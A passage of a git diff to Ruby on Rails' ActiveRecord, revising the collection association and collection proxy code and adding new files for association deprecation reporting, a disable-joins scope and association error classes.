-            target.delete(record)
-          end
-
-          raise
+        case record
+        when nil
+          # It's not possible to remove the record from the inverse association.
+        when Array
+          super
+        else
+          replace_on_target(record, true, replace: true, inversing: true)
         end
-
-        callback(:after_add, record) unless skip_callbacks
-
-        record
       end
 
-      def scope(opts = {})
-        scope = super()
-        scope.none! if opts.fetch(:nullify, true) && null_scope?
+      def scope
+        scope = super
+        scope.none! if null_scope?
         scope
       end
 
@@ -327,27 +307,19 @@ def null_scope?
 
       def find_from_target?
         loaded? ||
+          (owner.strict_loading? && owner.strict_loading_all?) ||
+          reflection.strict_loading? ||
           owner.new_record? ||
           target.any? { |record| record.new_record? || record.changed? }
       end
 
-      private
-
-        def find_target
-          return scope.to_a if skip_statement_cache?
-
-          conn = klass.connection
-          sc = reflection.association_scope_cache(conn, owner) do
-            StatementCache.create(conn) { |params|
-              as = AssociationScope.create { params.bind }
-              target_scope.merge as.scope(self, conn)
-            }
-          end
+      def collection?
+        true
+      end
 
-          binds = AssociationScope.get_bind_values(owner, reflection.chain)
-          sc.execute(binds, klass, conn) do |record|
-            set_inverse_instance(record)
-          end
+      private
+        def transaction(&block)
+          reflection.klass.transaction(&block)
         end
 
         # We have some records loaded from the database (persisted) and some that are
@@ -362,13 +334,12 @@ def find_target
         #   * Otherwise, attributes should have the value found in the database
         def merge_target_lists(persisted, memory)
           return persisted if memory.empty?
-          return memory    if persisted.empty?
 
           persisted.map! do |record|
             if mem_record = memory.delete(record)
 
-              ((record.attribute_names & mem_record.attribute_names) - mem_record.changed_attribute_names_to_save).each do |name|
-                mem_record[name] = record[name]
+              ((record.attribute_names & mem_record.attribute_names) - mem_record.changed_attribute_names_to_save - mem_record.class._attr_readonly).each do |name|
+                mem_record._write_attribute(name, record[name])
               end
 
               mem_record
@@ -377,36 +348,43 @@ def merge_target_lists(persisted, memory)
             end
           end
 
-          persisted + memory
+          persisted + memory.reject(&:persisted?)
         end
 
         def _create_record(attributes, raise = false, &block)
           unless owner.persisted?
-            raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
+            raise ActiveRecord::RecordNotSaved.new("You cannot call create unless the parent is saved", owner)
           end
 
           if attributes.is_a?(Array)
             attributes.collect { |attr| _create_record(attr, raise, &block) }
           else
+            record = build_record(attributes, &block)
             transaction do
-              add_to_target(build_record(attributes)) do |record|
-                yield(record) if block_given?
-                insert_record(record, true, raise)
+              result = nil
+              add_to_target(record) do
+                result = insert_record(record, true, raise) {
+                  @_was_loaded = loaded?
+                }
               end
+              raise ActiveRecord::Rollback unless result
             end
+            record
           end
         end
 
         # Do the relevant stuff to insert the given record into the association collection.
-        def insert_record(record, validate = true, raise = false)
-          raise NotImplementedError
-        end
-
-        def create_scope
-          scope.scope_for_create.stringify_keys
+        def insert_record(record, validate = true, raise = false, &block)
+          if raise
+            record.save!(validate: validate, &block)
+          else
+            record.save(validate: validate, &block)
+          end
         end
 
         def delete_or_destroy(records, method)
+          return if records.empty?
+          records = find(records) if records.any? { |record| record.kind_of?(Integer) || record.kind_of?(String) }
           records = records.flatten
           records.each { |record| raise_on_type_mismatch!(record) }
           existing_records = records.reject(&:new_record?)
@@ -419,10 +397,13 @@ def delete_or_destroy(records, method)
         end
 
         def remove_records(existing_records, records, method)
-          records.each { |record| callback(:before_remove, record) }
+          catch(:abort) do
+            records.each { |record| callback(:before_remove, record) }
+          end || return
 
           delete_records(existing_records, method) if existing_records.any?
-          records.each { |record| target.delete(record) }
+          @target -= records
+          @association_ids = nil
 
           records.each { |record| callback(:after_remove, record) }
         end
@@ -435,9 +416,9 @@ def delete_records(records, method)
         end
 
         def replace_records(new_target, original_target)
-          delete(target - new_target)
+          delete(difference(target, new_target))
 
-          unless concat(new_target - target)
+          unless concat(difference(new_target, target))
             @target = original_target
             raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \
                                   "new records could not be saved."
@@ -447,24 +428,65 @@ def replace_records(new_target, original_target)
         end
 
         def replace_common_records_in_memory(new_target, original_target)
-          common_records = new_target & original_target
+          common_records = intersection(new_target, original_target)
           common_records.each do |record|
             skip_callbacks = true
-            replace_on_target(record, @target.index(record), skip_callbacks)
+            replace_on_target(record, skip_callbacks, replace: true)
           end
         end
 
-        def concat_records(records, should_raise = false)
+        def concat_records(records, raise = false)
           result = true
 
           records.each do |record|
             raise_on_type_mismatch!(record)
-            add_to_target(record) do |rec|
-              result &&= insert_record(rec, true, should_raise) unless owner.new_record?
+            add_to_target(record) do
+              unless owner.new_record?
+                result &&= insert_record(record, true, raise) {
+                  @_was_loaded = loaded?
+                }
+              end
             end
           end
 
-          result && records
+          raise ActiveRecord::Rollback unless result
+
+          records
+        end
+
+        def replace_on_target(record, skip_callbacks, replace:, inversing: false)
+          if replace && (!record.new_record? || @replaced_or_added_targets.include?(record))
+            index = @target.index(record)
+          end
+
+          catch(:abort) do
+            callback(:before_add, record)
+          end || return unless skip_callbacks
+
+          set_inverse_instance(record)
+
+          @_was_loaded = true
+
+          yield(record) if block_given?
+
+          if !index && @replaced_or_added_targets.include?(record)
+            index = @target.index(record)
+          end
+
+          @replaced_or_added_targets << record if inversing || index || record.new_record?
+
+          if index
+            target[index] = record
+          elsif @_was_loaded || !loaded?
+            @association_ids = nil
+            target << record
+          end
+
+          callback(:after_add, record) unless skip_callbacks
+
+          record
+        ensure
+          @_was_loaded = nil
         end
 
         def callback(method, record)
@@ -475,7 +497,11 @@ def callback(method, record)
 
         def callbacks_for(callback_name)
           full_callback_name = "#{callback_name}_for_#{reflection.name}"
-          owner.class.send(full_callback_name)
+          if owner.class.respond_to?(full_callback_name)
+            owner.class.send(full_callback_name)
+          else
+            []
+          end
         end
 
         def include_in_memory?(record)
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 0d84805b4d4b6..d5f1294984982 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -1,10 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
-    # Association proxies in Active Record are middlemen between the object that
-    # holds the association, known as the <tt>@owner</tt>, and the actual associated
-    # object, known as the <tt>@target</tt>. The kind of association any proxy is
-    # about is available in <tt>@reflection</tt>. That's an instance of the class
-    # ActiveRecord::Reflection::AssociationReflection.
+    # = Active Record Collection Proxy
+    #
+    # Collection proxies in Active Record are middlemen between an
+    # <tt>association</tt>, and its <tt>target</tt> result set.
     #
     # For example, given
     #
@@ -14,26 +15,26 @@ module Associations
     #
     #   blog = Blog.first
     #
-    # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
-    # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
-    # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
+    # The collection proxy returned by <tt>blog.posts</tt> is built from a
+    # <tt>:has_many</tt> <tt>association</tt>, and delegates to a collection
+    # of posts as the <tt>target</tt>.
     #
-    # This class delegates unknown methods to <tt>@target</tt> via
-    # <tt>method_missing</tt>.
+    # This class delegates unknown methods to the <tt>association</tt>'s
+    # relation class via a delegate cache.
     #
-    # The <tt>@target</tt> object is not \loaded until needed. For example,
+    # The <tt>target</tt> result set is not loaded until needed. For example,
     #
     #   blog.posts.count
     #
     # is computed directly through SQL and does not trigger by itself the
     # instantiation of the actual post records.
     class CollectionProxy < Relation
-      delegate :exists?, :update_all, :arel, to: :scope
-
-      def initialize(klass, association) #:nodoc:
+      def initialize(klass, association, **) # :nodoc:
         @association = association
-        super klass, klass.arel_table, klass.predicate_builder
-        merge! association.scope(nullify: false)
+        super klass
+
+        extensions = association.extensions
+        extend(*extensions) if extensions.any?
       end
 
       def target
@@ -47,11 +48,12 @@ def load_target
       # Returns +true+ if the association has been loaded, otherwise +false+.
       #
       #   person.pets.loaded? # => false
-      #   person.pets
+      #   person.pets.records
       #   person.pets.loaded? # => true
       def loaded?
         @association.loaded?
       end
+      alias :loaded :loaded?
 
       ##
       # :method: select
@@ -81,7 +83,7 @@ def loaded?
       #   #      #<Pet id: nil, name: "Choo-Choo">
       #   #    ]
       #
-      #   person.pets.select(:id, :name )
+      #   person.pets.select(:id, :name)
       #   # => [
       #   #      #<Pet id: 1, name: "Fancy-Fancy">,
       #   #      #<Pet id: 2, name: "Spook">,
@@ -94,21 +96,21 @@ def loaded?
       # receive:
       #
       #   person.pets.select(:name).first.person_id
-      #   # => ActiveModel::MissingAttributeError: missing attribute: person_id
+      #   # => ActiveModel::MissingAttributeError: missing attribute 'person_id' for Pet
       #
-      # *Second:* You can pass a block so it can be used just like Array#select.
+      # *Second:* You can pass a block so it can be used just like <tt>Array#select</tt>.
       # This builds an array of objects from the database for the scope,
       # converting them into an array and iterating through them using
-      # Array#select.
+      # <tt>Array#select</tt>.
       #
-      #   person.pets.select { |pet| pet.name =~ /oo/ }
+      #   person.pets.select { |pet| /oo/.match?(pet.name) }
       #   # => [
       #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
       #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
       #   #    ]
 
       # Finds an object in the collection responding to the +id+. Uses the same
-      # rules as ActiveRecord::Base.find. Returns ActiveRecord::RecordNotFound
+      # rules as ActiveRecord::FinderMethods.find. Raises ActiveRecord::RecordNotFound
       # error if the object cannot be found.
       #
       #   class Person < ActiveRecord::Base
@@ -133,8 +135,9 @@ def loaded?
       #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
       #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
       #   #    ]
-      def find(*args, &block)
-        @association.find(*args, &block)
+      def find(*args)
+        return super if block_given?
+        @association.find(*args)
       end
 
       ##
@@ -217,7 +220,7 @@ def find(*args, &block)
       # :call-seq:
       #   third_to_last()
       #
-      # Same as #first except returns only the third-to-last record.
+      # Same as #last except returns only the third-to-last record.
 
       ##
       # :method: second_to_last
@@ -225,7 +228,7 @@ def find(*args, &block)
       # :call-seq:
       #   second_to_last()
       #
-      # Same as #first except returns only the second-to-last record.
+      # Same as #last except returns only the second-to-last record.
 
       # Returns the last record, or the last +n+ records, from the collection.
       # If the collection is empty, the first form returns +nil+, and the second
@@ -259,7 +262,7 @@ def last(limit = nil)
       end
 
       # Gives a record (or N records if a parameter is supplied) from the collection
-      # using the same rules as <tt>ActiveRecord::Base.take</tt>.
+      # using the same rules as ActiveRecord::FinderMethods.take.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -363,34 +366,6 @@ def create!(attributes = {}, &block)
         @association.create!(attributes, &block)
       end
 
-      # Add one or more records to the collection by setting their foreign keys
-      # to the association's primary key. Since #<< flattens its argument list and
-      # inserts each record, +push+ and #concat behave identically. Returns +self+
-      # so method calls may be chained.
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :pets
-      #   end
-      #
-      #   person.pets.size # => 0
-      #   person.pets.concat(Pet.new(name: 'Fancy-Fancy'))
-      #   person.pets.concat(Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo'))
-      #   person.pets.size # => 3
-      #
-      #   person.id # => 1
-      #   person.pets
-      #   # => [
-      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
-      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
-      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
-      #   #    ]
-      #
-      #   person.pets.concat([Pet.new(name: 'Brain'), Pet.new(name: 'Benny')])
-      #   person.pets.size # => 5
-      def concat(*records)
-        @association.concat(*records)
-      end
-
       # Replaces this collection with +other_array+. This will perform a diff
       # and delete/add only records that have changed.
       #
@@ -401,7 +376,7 @@ def concat(*records)
       #   person.pets
       #   # => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
       #
-      #   other_pets = [Pet.new(name: 'Puff', group: 'celebrities']
+      #   other_pets = [Pet.new(name: 'Puff', group: 'celebrities')]
       #
       #   person.pets.replace(other_pets)
       #
@@ -409,7 +384,7 @@ def concat(*records)
       #   # => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
       #
       # If the supplied array has an incorrect association type, it raises
-      # an <tt>ActiveRecord::AssociationTypeMismatch</tt> error:
+      # an ActiveRecord::AssociationTypeMismatch error:
       #
       #   person.pets.replace(["doo", "ggie", "gaga"])
       #   # => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
@@ -497,12 +472,12 @@ def replace(other_array)
       #   Pet.find(1, 2, 3)
       #   # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
       def delete_all(dependent = nil)
-        @association.delete_all(dependent)
+        @association.delete_all(dependent).tap { reset_scope }
       end
 
       # Deletes the records of the collection directly from the database
       # ignoring the +:dependent+ option. Records are instantiated and it
-      # invokes +before_remove+, +after_remove+ , +before_destroy+ and
+      # invokes +before_remove+, +after_remove+, +before_destroy+, and
       # +after_destroy+ callbacks.
       #
       #   class Person < ActiveRecord::Base
@@ -524,7 +499,7 @@ def delete_all(dependent = nil)
       #
       #   Pet.find(1) # => Couldn't find Pet with id=1
       def destroy_all
-        @association.destroy_all
+        @association.destroy_all.tap { reset_scope }
       end
 
       # Deletes the +records+ supplied from the collection according to the strategy
@@ -643,7 +618,7 @@ def destroy_all
       #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
       #   #    ]
       def delete(*records)
-        @association.delete(*records)
+        @association.delete(*records).tap { reset_scope }
       end
 
       # Destroys the +records+ supplied and removes them from the collection.
@@ -715,7 +690,7 @@ def delete(*records)
       #
       #   Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (4, 5, 6)
       def destroy(*records)
-        @association.destroy(*records)
+        @association.destroy(*records).tap { reset_scope }
       end
 
       ##
@@ -746,10 +721,6 @@ def destroy(*records)
       #   #    ]
 
       #--
-      def uniq
-        load_target.uniq
-      end
-
       def calculate(operation, column_name)
         null_scope? ? scope.calculate(operation, column_name) : super
       end
@@ -844,7 +815,7 @@ def size
       # to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
       # it is equivalent to <tt>!collection.exists?</tt>. If the collection has
       # not already been loaded and you are going to fetch the records anyway it
-      # is better to check <tt>collection.length.zero?</tt>.
+      # is better to check <tt>collection.load.empty?</tt>.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -880,6 +851,11 @@ def empty?
       #   person.pets.count # => 1
       #   person.pets.any?  # => true
       #
+      # Calling it without a block when the collection is not yet
+      # loaded is equivalent to <tt>collection.exists?</tt>.
+      # If you're going to load the collection anyway, it is better
+      # to call <tt>collection.load.any?</tt> to avoid an extra query.
+      #
       # You can also pass a +block+ to define criteria. The behavior
       # is the same, it returns true if the collection based on the
       # criteria is not empty.
@@ -952,23 +928,27 @@ def include?(record)
         !!@association.include?(record)
       end
 
+      # Returns the association object for the collection.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.proxy_association
+      #   # => #<ActiveRecord::Associations::HasManyAssociation owner="#<Person:0x00>">
+      #
+      # Returns the same object as <tt>person.association(:pets)</tt>,
+      # allowing you to make calls like <tt>person.pets.proxy_association.owner</tt>.
+      #
+      # See Associations::ClassMethods@Association+extensions for more.
       def proxy_association
         @association
       end
 
-      # We don't want this object to be put on the scoping stack, because
-      # that could create an infinite loop where we call an @association
-      # method, which gets the current scope, which is this object, which
-      # delegates to @association, and so on.
-      def scoping
-        @association.scope.scoping { yield }
-      end
-
-      # Returns a <tt>Relation</tt> object for the records in this association
+      # Returns a Relation object for the records in this association
       def scope
-        @association.scope
+        @scope ||= @association.scope
       end
-      alias spawn scope
 
       # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
       # contain the same number of elements and if each element is equal
@@ -990,14 +970,23 @@ def scope
       #   person.pets == other
       #   # => true
       #
+      #
+      # Note that unpersisted records can still be seen as equal:
+      #
       #   other = [Pet.new(id: 1), Pet.new(id: 2)]
       #
       #   person.pets == other
-      #   # => false
+      #   # => true
       def ==(other)
         load_target == other
       end
 
+      ##
+      # :method: to_ary
+      #
+      # :call-seq:
+      #   to_ary()
+      #
       # Returns a new array of objects from the collection. If the collection
       # hasn't been loaded, it fetches the records from the database.
       #
@@ -1031,18 +1020,15 @@ def ==(other)
       #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
       #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
       #   #    ]
-      def to_ary
-        load_target.dup
-      end
-      alias_method :to_a, :to_ary
 
       def records # :nodoc:
         load_target
       end
 
       # Adds one or more +records+ to the collection by setting their foreign keys
-      # to the association's primary key. Returns +self+, so several appends may be
-      # chained together.
+      # to the association's primary key. Since <tt><<</tt> flattens its argument list and
+      # inserts each record, +push+ and +concat+ behave identically. Returns +self+
+      # so several appends may be chained together.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -1065,8 +1051,9 @@ def <<(*records)
       end
       alias_method :push, :<<
       alias_method :append, :<<
+      alias_method :concat, :<<
 
-      def prepend(*args)
+      def prepend(*args) # :nodoc:
         raise NoMethodError, "prepend on association is not defined. Please use <<, push or append"
       end
 
@@ -1082,7 +1069,6 @@ def clear
       end
 
       # Reloads the collection from the database. Returns +self+.
-      # Equivalent to <tt>collection(true)</tt>.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -1096,12 +1082,9 @@ def clear
       #
       #   person.pets.reload # fetches pets from the database
       #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
-      #
-      #   person.pets(true)  # fetches pets from the database
-      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
       def reload
-        proxy_association.reload
-        self
+        proxy_association.reload(true)
+        reset_scope
       end
 
       # Unloads the association. Returns +self+.
@@ -1123,11 +1106,55 @@ def reload
       def reset
         proxy_association.reset
         proxy_association.reset_scope
+        reset_scope
+      end
+
+      def reset_scope # :nodoc:
+        @offsets = @take = nil
+        @scope = nil
         self
       end
 
-      private
+      def inspect # :nodoc:
+        load_target if find_from_target?
+        super
+      end
 
+      def pretty_print(pp) # :nodoc:
+        load_target if find_from_target?
+        super
+      end
+
+      %w(insert insert_all insert! insert_all! upsert upsert_all).each do |method|
+        class_eval <<~RUBY, __FILE__, __LINE__ + 1
+          def #{method}(...)
+            if @association&.target&.any? { |r| r.new_record? }
+              association_name = @association.reflection.name
+              ActiveRecord.deprecator.warn(<<~MSG)
+                Using #{method} on association \#{association_name} with unpersisted records
+                is deprecated and will be removed in Rails 8.2.
+                The unpersisted records will be lost after this operation.
+                Please either persist your records first or store them separately before
+                calling #{method}.
+              MSG
+              scope.#{method}(...)
+            else
+              scope.#{method}(...).tap { reset }
+            end
+          end
+        RUBY
+      end
+
+      delegate_methods = [
+        QueryMethods,
+        SpawnMethods,
+      ].flat_map { |klass|
+        klass.public_instance_methods(false)
+      } - self.public_instance_methods(false) - [ :select ] + [ :scoping, :values, :load_async ]
+
+      delegate(*delegate_methods, to: :scope)
+
+      private
         def find_nth_with_limit(index, limit)
           load_target if find_from_target?
           super
diff --git a/activerecord/lib/active_record/associations/deprecation.rb b/activerecord/lib/active_record/associations/deprecation.rb
new file mode 100644
index 0000000000000..344f7b46a381d
--- /dev/null
+++ b/activerecord/lib/active_record/associations/deprecation.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "active_support/notifications"
+require "active_support/core_ext/array/conversions"
+
+module ActiveRecord::Associations::Deprecation # :nodoc:
+  EVENT = "deprecated_association.active_record"
+  private_constant :EVENT
+
+  MODES = [:warn, :raise, :notify].freeze
+  private_constant :MODES
+
+  class << self
+    attr_reader :mode, :backtrace
+
+    def mode=(value) # private setter
+      unless MODES.include?(value)
+        raise ArgumentError, "invalid deprecated associations mode #{value.inspect} (valid modes are #{MODES.map(&:inspect).to_sentence})"
+      end
+
+      @mode = value
+    end
+
+    def backtrace=(value)
+      @backtrace = !!value
+    end
+
+    def guard(reflection)
+      report(reflection, context: yield) if reflection.deprecated?
+
+      if reflection.through_reflection?
+        reflection.deprecated_nested_reflections.each do |deprecated_nested_reflection|
+          context = "referenced as nested association of the through #{reflection.active_record}##{reflection.name}"
+          report(deprecated_nested_reflection, context: context)
+        end
+      end
+    end
+
+    def report(reflection, context:)
+      reflection = user_facing_reflection(reflection)
+
+      message = +"The association #{reflection.active_record}##{reflection.name} is deprecated, #{context}"
+      message << " (#{backtrace_cleaner.first_clean_frame})"
+
+      case @mode
+      when :warn
+        message = [message, *clean_frames].join("\n\t") if @backtrace
+        ActiveRecord::Base.logger&.warn(message)
+      when :raise
+        error = ActiveRecord::DeprecatedAssociationError.new(message)
+        if set_backtrace_supports_array_of_locations?
+          error.set_backtrace(clean_locations)
+        else
+          error.set_backtrace(clean_frames)
+        end
+        raise error
+      else
+        payload = { reflection: reflection, message: message, location: backtrace_cleaner.first_clean_location }
+        payload[:backtrace] = clean_locations if @backtrace
+        ActiveSupport::Notifications.instrument(EVENT, payload)
+      end
+    end
+
+    private
+      def backtrace_cleaner
+        ActiveRecord::LogSubscriber.backtrace_cleaner
+      end
+
+      def clean_frames
+        backtrace_cleaner.clean(caller)
+      end
+
+      def clean_locations
+        backtrace_cleaner.clean_locations(caller_locations)
+      end
+
+      def set_backtrace_supports_array_of_locations?
+        @backtrace_supports_array_of_locations ||= Gem::Version.new(RUBY_VERSION) >= Gem::Version.new("3.4.0")
+      end
+
+      def user_facing_reflection(reflection)
+        reflection.active_record.reflect_on_association(reflection.name)
+      end
+  end
+
+  self.mode = :warn
+  self.backtrace = false
+end
diff --git a/activerecord/lib/active_record/associations/disable_joins_association_scope.rb b/activerecord/lib/active_record/associations/disable_joins_association_scope.rb
new file mode 100644
index 0000000000000..fa40884fce19f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/disable_joins_association_scope.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class DisableJoinsAssociationScope < AssociationScope # :nodoc:
+      def scope(association)
+        source_reflection = association.reflection
+        owner = association.owner
+        unscoped = association.klass.unscoped
+        reverse_chain = get_chain(source_reflection, association, unscoped.alias_tracker).reverse
+
+        last_reflection, last_ordered, last_join_ids = last_scope_chain(reverse_chain, owner)
+
+        add_constraints(last_reflection, last_reflection.join_primary_key, last_join_ids, owner, last_ordered)
+      end
+
+      private
+        def last_scope_chain(reverse_chain, owner)
+          first_item = reverse_chain.shift
+          first_scope = [first_item, false, [owner._read_attribute(first_item.join_foreign_key)]]
+
+          reverse_chain.inject(first_scope) do |(reflection, ordered, join_ids), next_reflection|
+            key = reflection.join_primary_key
+            records = add_constraints(reflection, key, join_ids, owner, ordered)
+            foreign_key = next_reflection.join_foreign_key
+            record_ids = records.pluck(foreign_key)
+            records_ordered = records && records.order_values.any?
+
+            [next_reflection, records_ordered, record_ids]
+          end
+        end
+
+        def add_constraints(reflection, key, join_ids, owner, ordered)
+          scope = reflection.build_scope(reflection.aliased_table).where(key => join_ids)
+
+          relation = reflection.klass.scope_for_association
+          scope.merge!(
+            relation.except(:select, :create_with, :includes, :preload, :eager_load, :joins, :left_outer_joins)
+          )
+
+          scope = reflection.constraints.inject(scope) do |memo, scope_chain_item|
+            item = eval_scope(reflection, scope_chain_item, owner)
+            scope.unscope!(*item.unscope_values)
+            scope.where_clause += item.where_clause
+            scope.order_values = item.order_values | scope.order_values
+            scope
+          end
+
+          if scope.order_values.empty? && ordered
+            split_scope = DisableJoinsAssociationRelation.create(scope.model, key, join_ids)
+            split_scope.where_clause += scope.where_clause
+            split_scope
+          else
+            scope
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/errors.rb b/activerecord/lib/active_record/associations/errors.rb
new file mode 100644
index 0000000000000..66f57aada003f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/errors.rb
@@ -0,0 +1,268 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class AssociationNotFoundError < ConfigurationError # :nodoc:
+    attr_reader :record, :association_name
+
+    def initialize(record = nil, association_name = nil)
+      @record           = record
+      @association_name = association_name
+      if record && association_name
+        super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+      else
+        super("Association was not found.")
+      end
+    end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable
+
+      def corrections
+        if record && association_name
+          @corrections ||= begin
+            maybe_these = record.class.reflections.keys
+            DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(association_name)
+          end
+        else
+          []
+        end
+      end
+    end
+  end
+
+  class InverseOfAssociationNotFoundError < ActiveRecordError # :nodoc:
+    attr_reader :reflection, :associated_class
+
+    def initialize(reflection = nil, associated_class = nil)
+      if reflection
+        @reflection = reflection
+        @associated_class = associated_class.nil? ? reflection.klass : associated_class
+        super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
+      else
+        super("Could not find the inverse association.")
+      end
+    end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable
+
+      def corrections
+        if reflection && associated_class
+          @corrections ||= begin
+            maybe_these = associated_class.reflections.keys
+            DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(reflection.options[:inverse_of].to_s)
+          end
+        else
+          []
+        end
+      end
+    end
+  end
+
+  class InverseOfAssociationRecursiveError < ActiveRecordError # :nodoc:
+    attr_reader :reflection
+    def initialize(reflection = nil)
+      if reflection
+        @reflection = reflection
+        super("Inverse association #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{reflection.class_name}) is recursive.")
+      else
+        super("Inverse association is recursive.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationNotFoundError < ActiveRecordError # :nodoc:
+    attr_reader :owner_class, :reflection
+
+    def initialize(owner_class = nil, reflection = nil)
+      if owner_class && reflection
+        @owner_class = owner_class
+        @reflection = reflection
+        super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class.name}")
+      else
+        super("Could not find the association.")
+      end
+    end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable
+
+      def corrections
+        if owner_class && reflection
+          @corrections ||= begin
+            maybe_these = owner_class.reflections.keys
+            maybe_these -= [reflection.name.to_s] # remove failing reflection
+            DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(reflection.options[:through].to_s)
+          end
+        else
+          []
+        end
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
+      if owner_class_name && reflection && source_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPolymorphicThroughError < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil)
+      if owner_class_name && reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
+      if owner_class_name && reflection && source_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasOneThroughCantAssociateThroughCollection < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
+      if owner_class_name && reflection && through_reflection
+        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.")
+      else
+        super("Cannot have a has_one :through association.")
+      end
+    end
+  end
+
+  class HasOneAssociationPolymorphicThroughError < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil)
+      if owner_class_name && reflection
+        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+      else
+        super("Cannot have a has_one :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError # :nodoc:
+    def initialize(reflection = nil)
+      if reflection
+        through_reflection      = reflection.through_reflection
+        source_reflection_names = reflection.source_reflection_names
+        source_associations     = reflection.through_reflection.klass._reflections.keys
+        super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(two_words_connector: ' or ', last_word_connector: ', or ')} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(two_words_connector: ' or ', last_word_connector: ', or ')}?")
+      else
+        super("Could not find the source association(s).")
+      end
+    end
+  end
+
+  class HasManyThroughOrderError < ActiveRecordError # :nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
+      if owner_class_name && reflection && through_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through '#{owner_class_name}##{through_reflection.name}' before the through association is defined.")
+      else
+        super("Cannot have a has_many :through association before the through association is defined.")
+      end
+    end
+  end
+
